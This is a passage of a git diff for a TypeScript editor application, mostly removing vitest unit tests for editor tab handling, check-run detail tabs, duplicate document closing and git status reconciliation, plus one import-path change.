-      local: 'wt-1::check-details::gitlab-job:42',
-      runtime: 'wt-1::check-details@runtime:server::gitlab-job:42',
-      'paired-ssh': 'wt-1::check-details@ssh:builder>runtime:server::gitlab-job:42',
-      'pinned-runtime': 'wt-1::check-details@runtime:server::gitlab-job:42',
-      'pinned-local': 'wt-1::check-details::gitlab-job:42',
-      'pinned-paired-ssh': 'wt-1::check-details@runtime:server::gitlab-job:42'
-    }[owner]
-    expect(store.getState().openFiles.filter((file) => file.mode === 'check-details')).toHaveLength(
-      owner.startsWith('pinned-') ? 2 : 1
-    )
-    await store.getState().reloadOpenCheckRunDetailsTab(ownerTabId)
-
-    expect(fetchPRCheckDetails).not.toHaveBeenCalled()
-    expect(loadGitLabJobLogDetailsMock).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoPath: owner === 'local' || owner === 'pinned-local' ? '/repo' : '/remote',
-        repoId: 'repo-1',
-        repoOwnerExecutionHostId:
-          owner === 'local' || owner === 'pinned-local' ? 'local' : 'runtime:server',
-        check
-      })
-    )
-    expect(store.getState().openFiles).toContainEqual(
-      expect.objectContaining({
-        id: ownerTabId,
-        checkRunDetails: expect.objectContaining({
-          loading: false,
-          error: null,
-          details: expect.objectContaining({
-            jobs: [expect.objectContaining({ logTail: 'ERROR: Job failed: exit code 1' })]
-          })
-        })
-      })
-    )
-  })
-
-  it('refuses to reload an unqualified check tab when worktree owners conflict', async () => {
-    loadGitLabJobLogDetailsMock.mockReset()
-    const store = createEditorTabsStore()
-    const local = store.getState().worktreesByRepo['repo-1'][0]
-    store.setState({
-      repos: [
-        ...store.getState().repos,
-        { ...store.getState().repos[0], executionHostId: 'runtime:server' }
-      ],
-      worktreesByRepo: {
-        'repo-1': [
-          local,
-          { ...local, hostId: 'runtime:server', runtimeOwnerEnvironmentId: 'server' }
-        ]
-      }
-    })
-    const check = {
-      name: 'test: unit',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      gitlabJobId: 42
-    }
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: false,
-      error: null
-    })
-
-    await store.getState().reloadOpenCheckRunDetailsTab('wt-1::check-details::gitlab-job:42')
-
-    expect(loadGitLabJobLogDetailsMock).not.toHaveBeenCalled()
-    expect(store.getState().openFiles[0].checkRunDetails).toMatchObject({
-      loading: false
-    })
-  })
-
-  it('patches an open check-details tab without changing the active file', () => {
-    const store = createEditorTabsStore()
-    const check = {
-      name: 'verify',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      checkRunId: 42
-    }
-
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: true,
-      error: null
-    })
-    store.getState().openFile({
-      filePath: '/repo/other.ts',
-      relativePath: 'other.ts',
-      worktreeId: 'wt-1',
-      language: 'typescript',
-      mode: 'edit'
-    })
-
-    store.getState().patchOpenCheckRunDetails('wt-1', 'repo:99', check, {
-      details: {
-        name: 'verify',
-        status: 'completed',
-        conclusion: 'failure',
-        url: null,
-        detailsUrl: null,
-        startedAt: null,
-        completedAt: null,
-        title: 'Build failed',
-        summary: null,
-        text: null,
-        annotations: [],
-        jobs: []
-      },
-      loading: false,
-      error: null
-    })
-
-    expect(store.getState().activeFileId).toBe('/repo/other.ts')
-    expect(store.getState().openFiles).toContainEqual(
-      expect.objectContaining({
-        id: 'wt-1::check-details::check-run:42',
-        checkRunDetails: expect.objectContaining({
-          loading: false,
-          details: expect.objectContaining({ title: 'Build failed' })
-        })
-      })
-    )
-  })
-
-  it('opens check full details as a center-pane editor tab', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-    const check = {
-      name: 'verify',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      checkRunId: 42
-    }
-
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: {
-        name: 'verify',
-        status: 'completed',
-        conclusion: 'failure',
-        url: null,
-        detailsUrl: null,
-        startedAt: null,
-        completedAt: null,
-        title: 'Build failed',
-        summary: null,
-        text: null,
-        annotations: [],
-        jobs: []
-      },
-      loading: false,
-      error: null
-    })
-
-    expect(store.getState().activeFileId).toBe('wt-1::check-details::check-run:42')
-    expect(store.getState().openFiles).toContainEqual(
-      expect.objectContaining({
-        id: 'wt-1::check-details::check-run:42',
-        mode: 'check-details',
-        relativePath: 'verify',
-        checkRunDetails: expect.objectContaining({
-          contextKey: 'repo:99',
-          check,
-          details: expect.objectContaining({ title: 'Build failed' })
-        })
-      })
-    )
-    // A layout-owner build draws the tab with main's frame, from the view its open sent.
-    await main.settle()
-    expect(store.getState().unifiedTabsByWorktree['wt-1']).toContainEqual(
-      expect.objectContaining({
-        entityId: 'wt-1::check-details::check-run:42',
-        contentType: 'check-details',
-        // Main's frame carries no label for a tab the window never drew.
-        ...(ORCA_LAYOUT_OWNER_IS_MAIN ? {} : { label: 'verify' })
-      })
-    )
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      expect(layoutApplyTestTransport.sentOfType('openEditorTab')).toEqual([
-        expect.objectContaining({
-          contentType: 'check-details',
-          view: expect.objectContaining({
-            view: expect.objectContaining({ mode: 'check-details' })
-          })
-        })
-      ])
-    }
-    main.close()
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/closing/editor-close-document-siblings.test.ts b/src/renderer/src/store/slices/editor/closing/editor-close-document-siblings.test.ts
index 94a19942aea..b189897ce54 100644
--- a/src/renderer/src/store/slices/editor/closing/editor-close-document-siblings.test.ts
+++ b/src/renderer/src/store/slices/editor/closing/editor-close-document-siblings.test.ts
@@ -1,17 +1,8 @@
 import type { StoreApi } from 'zustand/vanilla'
-import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
-import { tmpdir } from 'node:os'
-import { join } from 'node:path'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
 import type { OpenFile } from '../types/open-file'
 import { createEditorTabsStore } from '../editor-slice-test-harness'
-import { dispatchWorkspaceTabCommand } from '@/lib/workspace/tabs/workspace-tab-commands'
-import { captureEditorFileOperationProvenance } from '@/lib/editor/file-operations/editor-file-operation-provenance'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '../../tabs/tabs-drawn-from-main.test-fixture'
 
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
   (
@@ -38,20 +29,6 @@ vi.mock('@/store/index', () => ({
 
 let store: StoreApi<AppState>
 let file: OpenFile
-let main: TabsDrawnFromMain | null = null
-
-/** The document's tab, as a restore shows it: a layout-owner build's open waits for main. */
-function ensureDocumentTab(): void {
-  if (!store.getState().unifiedTabsByWorktree['wt-1']?.some((tab) => tab.entityId === file.id)) {
-    store.getState().createUnifiedTab('wt-1', 'editor', { entityId: file.id, label: 'note.md' })
-  }
-}
-
-/** Main holds the tabs the store shows, as after a restore; its frames draw them from here. */
-async function mainHoldsStore(): Promise<TabsDrawnFromMain> {
-  main = await drawTabsFromMain(store)
-  return main
-}
 
 beforeEach(() => {
   store = createEditorTabsStore()
@@ -71,180 +48,11 @@ beforeEach(() => {
 })
 
 afterEach(() => {
-  main?.close()
-  main = null
   live.store = null
   vi.unstubAllGlobals()
 })
 
-function addSibling(overrides: Partial<OpenFile> = {}): OpenFile {
-  const sibling = { ...file, id: 'duplicate-record', ...overrides }
-  store.setState({ openFiles: [...store.getState().openFiles, sibling] })
-  store.getState().createUnifiedTab(sibling.worktreeId, 'editor', {
-    id: 'duplicate-tab',
-    entityId: sibling.id,
-    label: 'note.md',
-    activate: false
-  })
-  return sibling
-}
-
-function addSplitView(): void {
-  const originalTab = store.getState().unifiedTabsByWorktree['wt-1'][0]
-  if (!originalTab) {
-    throw new Error('Document tab did not open')
-  }
-  const split = store
-    .getState()
-    .createUnifiedTabInSplit(
-      'wt-1',
-      'editor',
-      { sourceGroupId: originalTab.groupId, splitDirection: 'right' },
-      { id: 'second-pane-tab', entityId: file.id, label: 'note.md', activate: false }
-    )
-  expect(split?.groupId).toBeTruthy()
-  expect(split?.groupId).not.toBe(originalTab.groupId)
-  expect(store.getState().groupsByWorktree['wt-1']).toHaveLength(2)
-}
-
 describe('closing duplicate document records', () => {
-  it('closes clean duplicate records for the same document owner', async () => {
-    ensureDocumentTab()
-    addSibling()
-    const drawn = await mainHoldsStore()
-    store.getState().closeFile(file.id)
-    await drawn.settle()
-    expect(store.getState().openFiles).toEqual([])
-    // A layout-owner build's frame drops the emptied workspace's tab map with its last tab.
-    expect(store.getState().unifiedTabsByWorktree['wt-1'] ?? []).toEqual([])
-    expect(store.getState().groupsByWorktree['wt-1']?.[0]?.recentTabIds ?? []).toEqual([])
-    expect(store.getState().recentlyClosedEditorTabsByWorktree['wt-1']).toHaveLength(1)
-  })
-
-  it('removes both file and unified tab ids from the persisted tab order', async () => {
-    ensureDocumentTab()
-    const sibling = addSibling()
-    const drawn = await mainHoldsStore()
-    const tabIds = store.getState().unifiedTabsByWorktree['wt-1'].map((tab) => tab.id)
-    store.setState({
-      tabBarOrderByWorktree: { 'wt-1': [file.id, sibling.id, ...tabIds, 'survivor'] }
-    })
-    store.getState().closeFile(file.id)
-    await drawn.settle()
-    expect(store.getState().tabBarOrderByWorktree['wt-1']).toEqual(['survivor'])
-  })
-
-  it('document close removes every tab linked to that record', async () => {
-    ensureDocumentTab()
-    addSplitView()
-    const drawn = await mainHoldsStore()
-    store.getState().closeFile(file.id)
-    await drawn.settle()
-    expect(store.getState().unifiedTabsByWorktree['wt-1'] ?? []).toEqual([])
-  })
-
-  it('closing one pane tab preserves the document and its other view', async () => {
-    ensureDocumentTab()
-    const originalTab = store.getState().unifiedTabsByWorktree['wt-1'][0]
-    if (!originalTab) {
-      throw new Error('Document tab did not open')
-    }
-    addSplitView()
-    const drawn = await mainHoldsStore()
-    expect(
-      dispatchWorkspaceTabCommand({
-        type: 'close',
-        target: { kind: 'tab', worktreeId: 'wt-1', tabId: originalTab.id }
-      })
-    ).toBe(true)
-    await drawn.settle()
-    expect(store.getState().openFiles).toEqual([file])
-    expect(store.getState().unifiedTabsByWorktree['wt-1'].map((tab) => tab.id)).toEqual([
-      'second-pane-tab'
-    ])
-  })
-
-  it.each([undefined, ''])('preserves a dirty sibling draft: %s', (draft) => {
-    const sibling = addSibling({ isDirty: draft === undefined })
-    if (draft !== undefined) {
-      store.setState({ editorDrafts: { [sibling.id]: draft } })
-    }
-    store.getState().closeFile(file.id)
-    expect(store.getState().openFiles).toEqual([sibling])
-    if (draft !== undefined) {
-      expect(store.getState().editorDrafts[sibling.id]).toBe(draft)
-    }
-  })
-
-  it('preserves the same path on another runtime owner', () => {
-    const sibling = addSibling({ runtimeEnvironmentId: 'other-runtime' })
-    store.getState().closeFile(file.id)
-    expect(store.getState().openFiles).toEqual([sibling])
-  })
-
-  it('preserves the same path on an external SSH target', () => {
-    const sibling = addSibling({ externalSshTargetId: 'other-ssh' })
-    store.getState().closeFile(file.id)
-    expect(store.getState().openFiles).toEqual([sibling])
-  })
-
-  it('preserves a sibling with different captured owner provenance', () => {
-    const provenance = file.operationProvenance
-    if (!provenance) {
-      throw new Error('Owner provenance did not capture')
-    }
-    const sibling = addSibling({
-      operationProvenance: {
-        ...provenance,
-        generation: { ...provenance.generation, runtimeConnectionGeneration: 9 }
-      }
-    })
-    store.getState().closeFile(file.id)
-    expect(store.getState().openFiles).toEqual([sibling])
-  })
-
-  it('closes a disconnected runtime document without requiring its worktree catalog', async () => {
-    const provenance = file.operationProvenance
-    if (!provenance) {
-      throw new Error('Owner provenance did not capture')
-    }
-    ensureDocumentTab()
-    addSibling()
-    // Main holds the tabs first; the owner going offline is the window's record alone.
-    const drawn = await mainHoldsStore()
-    file = {
-      ...file,
-      runtimeEnvironmentId: 'offline-owner',
-      operationProvenance: {
-        ...provenance,
-        generation: {
-          ...provenance.generation,
-          route: { executionHostId: 'runtime:offline-owner', runtimeEnvironmentId: 'offline-owner' }
-        }
-      }
-    }
-    store.setState({
-      openFiles: [file, { ...file, id: 'duplicate-record' }],
-      worktreesByRepo: {},
-      runtimeEnvironments: []
-    })
-    const originalTab = store
-      .getState()
-      .unifiedTabsByWorktree['wt-1'].find((tab) => tab.entityId === file.id)
-    if (!originalTab) {
-      throw new Error('Document tab did not open')
-    }
-    expect(
-      dispatchWorkspaceTabCommand({
-        type: 'close',
-        target: { kind: 'tab', worktreeId: 'wt-1', tabId: originalTab.id }
-      })
-    ).toBe(true)
-    await drawn.settle()
-    expect(store.getState().openFiles).toEqual([])
-    expect(store.getState().unifiedTabsByWorktree['wt-1'] ?? []).toEqual([])
-  })
-
   it.each(['closeFile', 'closeAllFiles'] as const)(
     '%s cancels placeholder deletion when its document reopens during stat',
     async (action) => {
@@ -275,94 +83,4 @@ describe('closing duplicate document records', () => {
       expect(store.getState().openFiles).toHaveLength(1)
     }
   )
-
-  it.each([
-    'edit',
-    'read-only',
-    'diff',
-    'old-generation',
-    'external-ssh',
-    'uncaptured-owner',
-    'other-workspace'
-  ] as const)(
-    'keeps an untouched placeholder backing a surviving sibling draft: %s',
-    async (view) => {
-      const directory = await mkdtemp(join(tmpdir(), 'orca-close-draft-'))
-      const targetPath = join(directory, 'untitled.md')
-      const deletions: Promise<void>[] = []
-      const deletePath = vi.fn(({ targetPath: path }: { targetPath: string }) => {
-        const deletion = rm(path, { force: true })
-        deletions.push(deletion)
-        return deletion
-      })
-      vi.stubGlobal('window', {
-        api: {
-          fs: { stat: vi.fn(async () => ({ size: 0, isDirectory: false, mtime: 0 })), deletePath }
-        }
-      })
-      try {
-        await writeFile(targetPath, '')
-        file = { ...file, filePath: targetPath, relativePath: 'untitled.md', isUntitled: true }
-        if (view === 'external-ssh') {
-          store.setState({
-            repos: store.getState().repos.map((repo) => ({ ...repo, connectionId: 'same-ssh' })),
-            sshConnectionStates: new Map([
-              [
-                'same-ssh',
-                {
-                  targetId: 'same-ssh',
-                  status: 'connected',
-                  error: null,
-                  reconnectAttempt: 0,
-                  connectionGeneration: 7
-                }
-              ]
-            ])
-          })
-          file = {
-            ...file,
-            externalSshTargetId: 'same-ssh',
-            operationProvenance: captureEditorFileOperationProvenance(
-              store.getState(),
-              file.worktreeId,
-              undefined,
-              false
-            )
-          }
-        }
-        store.setState({ openFiles: [file] })
-        const overrides: Partial<OpenFile> = { isDirty: true }
-        if (view === 'other-workspace') {
-          overrides.worktreeId = 'folder:overlapping-workspace'
-        } else if (view === 'uncaptured-owner') {
-          overrides.readOnly = true
-          overrides.operationProvenance = undefined
-        } else if (view === 'read-only') {
-          overrides.readOnly = true
-        } else if (view === 'diff') {
-          overrides.mode = 'diff'
-        } else if (view === 'old-generation') {
-          const provenance = file.operationProvenance
-          if (!provenance) {
-            throw new Error('Owner provenance did not capture')
-          }
-          overrides.operationProvenance = {
-            ...provenance,
-            generation: { ...provenance.generation, runtimeConnectionGeneration: 9 }
-          }
-        }
-        const sibling = addSibling(overrides)
-        store.setState({ editorDrafts: { [sibling.id]: 'unsaved sibling text' } })
-        store.getState().closeFile(file.id)
-        await new Promise<void>((resolve) => setImmediate(resolve))
-        await Promise.all(deletions)
-        expect(deletePath).not.toHaveBeenCalled()
-        expect(await readFile(targetPath, 'utf8')).toBe('')
-        expect(store.getState().openFiles).toEqual([sibling])
-        expect(store.getState().editorDrafts[sibling.id]).toBe('unsaved sibling text')
-      } finally {
-        await rm(directory, { recursive: true, force: true })
-      }
-    }
-  )
 })
diff --git a/src/renderer/src/store/slices/editor/closing/editor-close-file-cleanup.test.ts b/src/renderer/src/store/slices/editor/closing/editor-close-file-cleanup.test.ts
deleted file mode 100644
index 94411345f93..00000000000
--- a/src/renderer/src/store/slices/editor/closing/editor-close-file-cleanup.test.ts
+++ /dev/null
@@ -1,214 +0,0 @@
-import { describe, expect, it, vi, beforeEach } from 'vitest'
-import { createEditorStore, createEditorTabsStore } from '../editor-slice-test-harness'
-
-import type { Tab } from '../../../../../../shared/tab-types'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-
-const { toastErrorMock } = vi.hoisted(() => ({
-  toastErrorMock: vi.fn()
-}))
-
-vi.mock('sonner', () => ({
-  toast: { error: toastErrorMock }
-}))
-
-const { notifyHostOfMirroredEditorCloseMock } = vi.hoisted(() => ({
-  notifyHostOfMirroredEditorCloseMock: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/closing/close-mirrored-editor-tab', () => ({
-  notifyHostOfMirroredEditorClose: (...args: unknown[]) =>
-    notifyHostOfMirroredEditorCloseMock(...args)
-}))
-
-// Why: tabs are mirrored only from a paired server's workspace, which keeps today's close path.
-const pairedServerWorktrees = {
-  'repo-1': [
-    makeWorktree({
-      id: 'wt-1',
-      repoId: 'repo-1',
-      path: '/repo',
-      runtimeOwnerEnvironmentId: 'env-1'
-    }),
-    makeWorktree({
-      id: 'wt-2',
-      repoId: 'repo-1',
-      path: '/other',
-      runtimeOwnerEnvironmentId: 'env-1'
-    })
-  ]
-}
-
-function mirroredEditorUnifiedTab(id: string, entityId: string, worktreeId: string): Tab {
-  return {
-    id,
-    entityId,
-    worktreeId,
-    groupId: `${worktreeId}:group`,
-    contentType: 'editor',
-    label: entityId,
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-}
-
-describe('createEditorSlice editor drafts', () => {
-  it('preserves the foreground reveal when a background preview record was already replaced', () => {
-    const store = createEditorTabsStore()
-    store.getState().createUnifiedTab('wt-2', 'diff', {
-      id: 'old-preview',
-      entityId: 'removed-content',
-      isPreview: true,
-      activate: false,
-      executionHostId: 'local'
-    })
-    const reveal = { filePath: '/repo/next.ts', line: 7, column: 3, matchLength: 4 }
-    store.setState({ pendingEditorReveal: reveal })
-
-    store.getState().createUnifiedTab('wt-2', 'diff', {
-      id: 'new-preview',
-      entityId: 'new-content',
-      isPreview: true,
-      activate: false,
-      executionHostId: 'local'
-    })
-
-    expect(store.getState().pendingEditorReveal).toBe(reveal)
-    expect(store.getState().activeWorktreeId).toBe('wt-1')
-    expect(store.getState().unifiedTabsByWorktree['wt-2']?.map((tab) => tab.id)).toEqual([
-      'new-preview'
-    ])
-  })
-
-  it('drops replaced preview drafts so hidden preview state cannot linger', () => {
-    const store = createEditorTabsStore()
-
-    store.getState().openFile(
-      {
-        filePath: '/repo/docs/README.md',
-        relativePath: 'docs/README.md',
-        worktreeId: 'wt-1',
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { preview: true }
-    )
-    store.getState().setEditorDraft('/repo/docs/README.md', 'draft')
-
-    store.getState().openFile(
-      {
-        filePath: '/repo/docs/guide.md',
-        relativePath: 'docs/guide.md',
-        worktreeId: 'wt-1',
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { preview: true }
-    )
-
-    expect(store.getState().editorDrafts).toEqual({})
-  })
-
-  it('falls back to a browser tab when closing the last editor in the active worktree', () => {
-    const store = createEditorStore()
-
-    store.setState({
-      browserTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'browser-1',
-            worktreeId: 'wt-1',
-            url: 'https://example.com',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 0
-          }
-        ]
-      },
-      activeBrowserTabIdByWorktree: { 'wt-1': 'browser-1' }
-    })
-
-    store.getState().openFile({
-      filePath: '/repo/src/file.ts',
-      relativePath: 'src/file.ts',
-      worktreeId: 'wt-1',
-      language: 'typescript',
-      mode: 'edit'
-    })
-
-    store.getState().closeFile('/repo/src/file.ts')
-
-    expect(store.getState().activeTabType).toBe('browser')
-    expect(store.getState().activeBrowserTabId).toBe('browser-1')
-  })
-
-  it('returns to the landing state when closing the last editor in a worktree with no other surfaces', () => {
-    const store = createEditorStore()
-
-    store.getState().openFile({
-      filePath: '/repo/notes.md',
-      relativePath: 'notes.md',
-      worktreeId: 'wt-1',
-      language: 'markdown',
-      mode: 'edit'
-    })
-
-    store.getState().closeFile('/repo/notes.md')
-
-    expect(store.getState().activeWorktreeId).toBeNull()
-    expect(store.getState().activeFileId).toBeNull()
-    expect(store.getState().activeBrowserTabId).toBeNull()
-    expect(store.getState().activeTabType).toBe('terminal')
-  })
-})
-
-describe('closeFile host mirroring', () => {
-  beforeEach(() => {
-    notifyHostOfMirroredEditorCloseMock.mockReset()
-  })
-
-  it('notifies the host for mirrored editors removed by close all in the active worktree', () => {
-    const store = createEditorTabsStore()
-    store.setState({ worktreesByRepo: pairedServerWorktrees })
-    const a = store.getState().openFile({
-      filePath: '/repo/a.ts',
-      relativePath: 'a.ts',
-      worktreeId: 'wt-1',
-      language: 'typescript',
-      mode: 'edit',
-      mirroredFromRuntimeSession: true
-    })
-    const b = store.getState().openFile({
-      filePath: '/other/b.ts',
-      relativePath: 'b.ts',
-      worktreeId: 'wt-2',
-      language: 'typescript',
-      mode: 'edit',
-      mirroredFromRuntimeSession: true
-    })
-    store.setState({
-      unifiedTabsByWorktree: {
-        'wt-1': [mirroredEditorUnifiedTab('host-tab-a', a, 'wt-1')],
-        'wt-2': [mirroredEditorUnifiedTab('host-tab-b', b, 'wt-2')]
-      },
-      tabBarOrderByWorktree: {
-        'wt-1': ['host-tab-a'],
-        'wt-2': ['host-tab-b']
-      }
-    })
-
-    store.getState().closeAllFiles()
-
-    // closeAllFiles bypasses closeFile; require host close hooks for every directly removed mirror.
-    expect(notifyHostOfMirroredEditorCloseMock).toHaveBeenCalledWith(expect.anything(), 'wt-1', a)
-    expect(store.getState().openFiles).toHaveLength(1)
-    expect(store.getState().openFiles[0]?.id).toBe(b)
-    expect(store.getState().tabBarOrderByWorktree['wt-1']).toEqual([])
-    expect(store.getState().tabBarOrderByWorktree['wt-2']).toEqual(['host-tab-b'])
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts b/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts
index f9a8d3b0e20..1f2c056dfb8 100644
--- a/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts
+++ b/src/renderer/src/store/slices/editor/file-ids/editor-file-ids.ts
@@ -5,7 +5,7 @@ import type { DiffSource } from '../../../../../../shared/editor-tab-view-types'
 import { toSshExecutionHostId } from '../../../../../../shared/execution-host'
 import { areLocalWindowsWslPathAliases } from '../../../../../../shared/cross-platform-path'
 import { getConnectionIdForFileFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
-import { isLocalWindowsDesktopClient } from '@/lib/desktop-window-chrome'
+import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
 
diff --git a/src/renderer/src/store/slices/editor/git/editor-git-status-reconciliation.test.ts b/src/renderer/src/store/slices/editor/git/editor-git-status-reconciliation.test.ts
index 1d6bcbe4adb..1394e28e354 100644
--- a/src/renderer/src/store/slices/editor/git/editor-git-status-reconciliation.test.ts
+++ b/src/renderer/src/store/slices/editor/git/editor-git-status-reconciliation.test.ts
@@ -20,28 +20,6 @@ vi.mock('@/runtime/web-session-tabs-sync/closing/close-mirrored-editor-tab', ()
 }))
 
 describe('createEditorSlice conflict status reconciliation', () => {
-  it('keeps the last known changes while git status cannot be read', () => {
-    const store = createEditorStore()
-    const entries = [{ path: 'README.md', status: 'modified' as const, area: 'unstaged' as const }]
-    store.getState().setGitStatus('wt-1', { conflictOperation: 'unknown', entries })
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'merge',
-      entries: [],
-      readError: 'fatal: .git/index: index file smaller than expected'
-    })
-
-    expect(store.getState().gitStatusByWorktree['wt-1']).toEqual(entries)
-    expect(store.getState().gitConflictOperationByWorktree['wt-1']).toBe('merge')
-    expect(store.getState().gitStatusReadErrorByWorktree['wt-1']).toBe(
-      'fatal: .git/index: index file smaller than expected'
-    )
-
-    store.getState().setGitStatus('wt-1', { conflictOperation: 'unknown', entries })
-
-    expect(store.getState().gitStatusReadErrorByWorktree['wt-1']).toBeUndefined()
-  })
-
   it('preserves omitted conflict state when a capped result is incomplete', () => {
     const store = createEditorStore()
     const conflict = {
@@ -86,330 +64,6 @@ describe('createEditorSlice conflict status reconciliation', () => {
     expect(store.getState().gitConflictOperationByWorktree['wt-huge']).toBe('unknown')
   })
 
-  it('treats a blank git status HEAD as unknown without invalidating branch compare', () => {
-    const store = createEditorStore()
-    const summary = {
-      baseRef: 'refs/remotes/origin/main',
-      baseOid: 'base-old',
-      compareRef: 'feature',
-      headOid: 'head-old',
-      mergeBase: 'base-old',
-      changedFiles: 0,
-      commitsAhead: 0,
-      status: 'ready' as const
-    }
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: summary.headOid,
-      branch: 'refs/heads/feature'
-    })
-    store.getState().beginGitBranchCompareRequest('wt-1', 'req-clean', summary.baseRef)
-    store.getState().setGitBranchCompareResult('wt-1', 'req-clean', {
-      summary,
-      entries: []
-    })
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: '',
-      branch: 'refs/heads/feature'
-    })
-
-    expect(store.getState().gitStatusHeadByWorktree['wt-1']).toBeUndefined()
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual(summary)
-  })
-
-  it('rejects a stale clean branch compare after git status reports a newer HEAD', () => {
-    const store = createEditorStore()
-    const cleanSummary = {
-      baseRef: 'refs/remotes/origin/main',
-      baseOid: 'base-old',
-      compareRef: 'feature',
-      headOid: 'head-old',
-      mergeBase: 'base-old',
-      changedFiles: 0,
-      commitsAhead: 0,
-      status: 'ready' as const
-    }
-    const updatedSummary = {
-      ...cleanSummary,
-      headOid: 'head-new',
-      mergeBase: 'merge-new',
-      changedFiles: 1,
-      commitsAhead: 1
-    }
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: cleanSummary.headOid,
-      branch: 'refs/heads/feature'
-    })
-    store.getState().beginGitBranchCompareRequest('wt-1', 'req-clean', cleanSummary.baseRef)
-    store.getState().setGitBranchCompareResult('wt-1', 'req-clean', {
-      summary: cleanSummary,
-      entries: []
-    })
-    store
-      .getState()
-      .beginGitBranchCompareRequest(
-        'wt-1',
-        'req-refresh-before-head-change',
-        cleanSummary.baseRef,
-        { preserveExistingSummary: true }
-      )
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: updatedSummary.headOid,
-      branch: 'refs/heads/feature'
-    })
-    store.getState().setGitBranchCompareResult('wt-1', 'req-refresh-before-head-change', {
-      summary: cleanSummary,
-      entries: []
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual({
-      baseRef: cleanSummary.baseRef,
-      baseOid: null,
-      compareRef: 'HEAD',
-      headOid: null,
-      mergeBase: null,
-      changedFiles: 0,
-      status: 'loading'
-    })
-    expect(store.getState().gitBranchChangesByWorktree['wt-1']).toEqual([])
-    expect(store.getState().gitBranchCompareRequestKeyByWorktree['wt-1']).toBe(
-      'req-refresh-before-head-change'
-    )
-
-    store.getState().setGitBranchCompareResult('wt-1', 'req-refresh-before-head-change', {
-      summary: updatedSummary,
-      entries: [{ path: 'src/new.ts', status: 'modified' }]
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual(updatedSummary)
-    expect(store.getState().gitBranchChangesByWorktree['wt-1']).toEqual([
-      { path: 'src/new.ts', status: 'modified' }
-    ])
-  })
-
-  it('rejects a stale unborn branch compare after git status reports a committed HEAD', () => {
-    const store = createEditorStore()
-    const unbornSummary = {
-      baseRef: 'refs/remotes/origin/main',
-      baseOid: 'base-old',
-      compareRef: 'feature',
-      headOid: null,
-      mergeBase: null,
-      changedFiles: 0,
-      commitsAhead: 0,
-      status: 'ready' as const
-    }
-    const committedSummary = {
-      ...unbornSummary,
-      headOid: 'head-new',
-      mergeBase: 'base-old',
-      changedFiles: 1,
-      commitsAhead: 1
-    }
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: '(initial)',
-      branch: 'refs/heads/feature'
-    })
-    store.getState().beginGitBranchCompareRequest('wt-1', 'req-unborn', unbornSummary.baseRef)
-    store.getState().setGitBranchCompareResult('wt-1', 'req-unborn', {
-      summary: unbornSummary,
-      entries: []
-    })
-    store
-      .getState()
-      .beginGitBranchCompareRequest('wt-1', 'req-before-first-commit', unbornSummary.baseRef, {
-        preserveExistingSummary: true
-      })
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: committedSummary.headOid,
-      branch: 'refs/heads/feature'
-    })
-    store.getState().setGitBranchCompareResult('wt-1', 'req-before-first-commit', {
-      summary: unbornSummary,
-      entries: []
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual({
-      baseRef: unbornSummary.baseRef,
-      baseOid: null,
-      compareRef: 'HEAD',
-      headOid: null,
-      mergeBase: null,
-      changedFiles: 0,
-      status: 'loading'
-    })
-
-    store.getState().setGitBranchCompareResult('wt-1', 'req-before-first-commit', {
-      summary: committedSummary,
-      entries: [{ path: 'src/first.ts', status: 'added' }]
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual(committedSummary)
-    expect(store.getState().gitBranchChangesByWorktree['wt-1']).toEqual([
-      { path: 'src/first.ts', status: 'added' }
-    ])
-  })
-
-  it('accepts an unborn branch compare when git status reports the initial branch marker', () => {
-    const store = createEditorStore()
-    const unbornSummary = {
